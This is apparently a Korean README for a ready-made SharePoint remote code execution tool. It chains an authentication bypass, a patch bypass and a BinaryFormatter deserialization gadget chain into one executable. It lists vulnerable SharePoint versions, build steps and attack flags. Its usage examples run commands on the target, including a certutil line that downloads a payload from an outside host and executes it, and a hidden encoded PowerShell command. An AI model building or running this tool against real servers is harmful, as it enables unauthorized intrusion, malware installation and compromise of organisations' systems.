
정말로 SharePoint가 안전하다고 생각하십니까?
자체 포함된 단일 바이너리 SharePoint RCE 도구입니다. TypeConfuseDelegate 가젯 체인을 원시 MS-NRBF 바이트(ysoserial.exe 없음)로 생성하고, 이를 DataSet 역직렬화 페이로드에 래핑한 후 인증 우회를 통해 HTTP로 전달합니다—모든 과정이 한 번에 이루어집니다.
| 단계 | CVE | 설명 |
|---|---|---|
| 1 | CVE-2025-49706 | 인증 우회 — Referer: /_layouts/SignOut.aspx가 SharePoint 인증을 건너뜁니다 |
| 2 | CVE-2025-53771 | 패치 우회 — ToolPane.aspx 뒤의 후행 경로 세그먼트가 2025년 7월 수정을 회피합니다 |
| 3 | CVE-2025-49704 | 역직렬화 — ExcelDataSet.CompressedDataTable이 조작된 DataSet에 대해 BinaryFormatter를 트리거합니다 |
| 4 | — | DataSet 스키마는 ExpandedWrapper + ObjectDataProvider를 통해 내부 페이로드에서 LosFormatter.Deserialize()를 강제로 호출합니다 |
| 5 | — | TypeConfuseDelegate — SortedSet<string> 비교자는 Process.Start(string, string)이며, cmd /c <command>를 실행합니다 |
전체 바이너리 스트림(외부 DataSet 래퍼와 내부 TypeConfuseDelegate 가젯 모두)은 원시 MS-NRBF 레코드로 구성됩니다—.NET 런타임 직렬화는 사용되지 않습니다. 이는 Metasploit 모듈이 생성하는 형식과 바이트 단위로 일치합니다.
.NET Framework 4.8 SDK(Visual Studio 2022 또는 독립 실행형 Build Tools)가 필요합니다:
& "C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe" OurSharePoint.sln /p:Configuration=Release
출력: OurSharePoint\bin\Release\OurSharePoint.exe (단일 파일, 종속성 없음)
OurSharePoint.exe --cmd="certutil -urlcache -split -f http://10.0.0.5/payload.exe C:\Windows\Temp\p.exe & C:\Windows\Temp\p.exe" --target=https://sp.corp.com
OurSharePoint.exe --cmd="whoami > C:\Windows\Temp\pwned.txt" --target=https://sp.corp.com
OurSharePoint.exe --cmd="powershell -nop -w hidden -enc <base64>" --target=https://sp.corp.com
OurSharePoint.exe --target=https://sp.corp.com --check
OurSharePoint.exe --cmd="calc.exe" --out=exploit
OurSharePoint.exe --cmd="whoami" --target=https://sp.corp.com --proxy=http://127.0.0.1:8080
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > gadget.b64
OurSharePoint.exe --in=gadget.b64 --target=https://sp.corp.com
--out 옵션을 사용하면 도구가 다음 파일을 작성합니다:
| 파일 | 내용 |
|---|---|
<prefix>.bin | 원시 BinaryFormatter DataSet 스트림 |
<prefix>.b64 | GZip + Base64 인코딩 (CompressedDataTable에 들어가는 형태) |
| 에디션 | 취약 범위 |
|---|---|
| SharePoint Server Subscription Edition | 16.0.14326.20450 – 16.0.18526.20424 |
| SharePoint Server 2019 | 16.0.10337.12109 – 16.0.10417.20027 |
| SharePoint Enterprise Server 2016 | 16.0.4351.1000 – 16.0.5508.1000 |
| SharePoint Server 2013 | 15.0.4481.1005 – 15.0.5545.1000 |
BinaryWriter를 사용하여 원시 MS-NRBF 바이너리 레코드로 작성됩니다. 이는 .NET 런타임 직렬화 출력과 대상 역직렬화기가 예상하는 형식 간의 차이를 방지합니다.LosFormatter.Serialize()를 사용하는 대신 ObjectStateFormatter 헤더 바이트(0xFF 0x01 0x32 + 7비트 길이)로 래핑됩니다.| 플래그 | 설명 | 기본값 |
|---|
--cmd=COMMAND | 실행할 명령 (cmd /c COMMAND로 실행) | — |
--in=FILE | 미리 빌드된 base64 LosFormatter 페이로드 파일 | — |
--target=URL | HTTP 전달용 SharePoint 기본 URL | — |
--check | 페이로드 없이 버전만 식별 | — |
--out=PREFIX | 출력 파일 접두사 | payload |
--sp-version=VER | Layouts 경로 버전 (15 또는 16) | 15 |
--proxy=URL | HTTP 프록시 | — |
--ua=STRING | 사용자 정의 User-Agent | Firefox 120 |
--referer=URL | 인증 우회 Referer 재정의 | auto |
--timeout=SEC | HTTP 타임아웃 | 15 |
--a/b/c=NAME | DataSet/요소/열 이름 | random |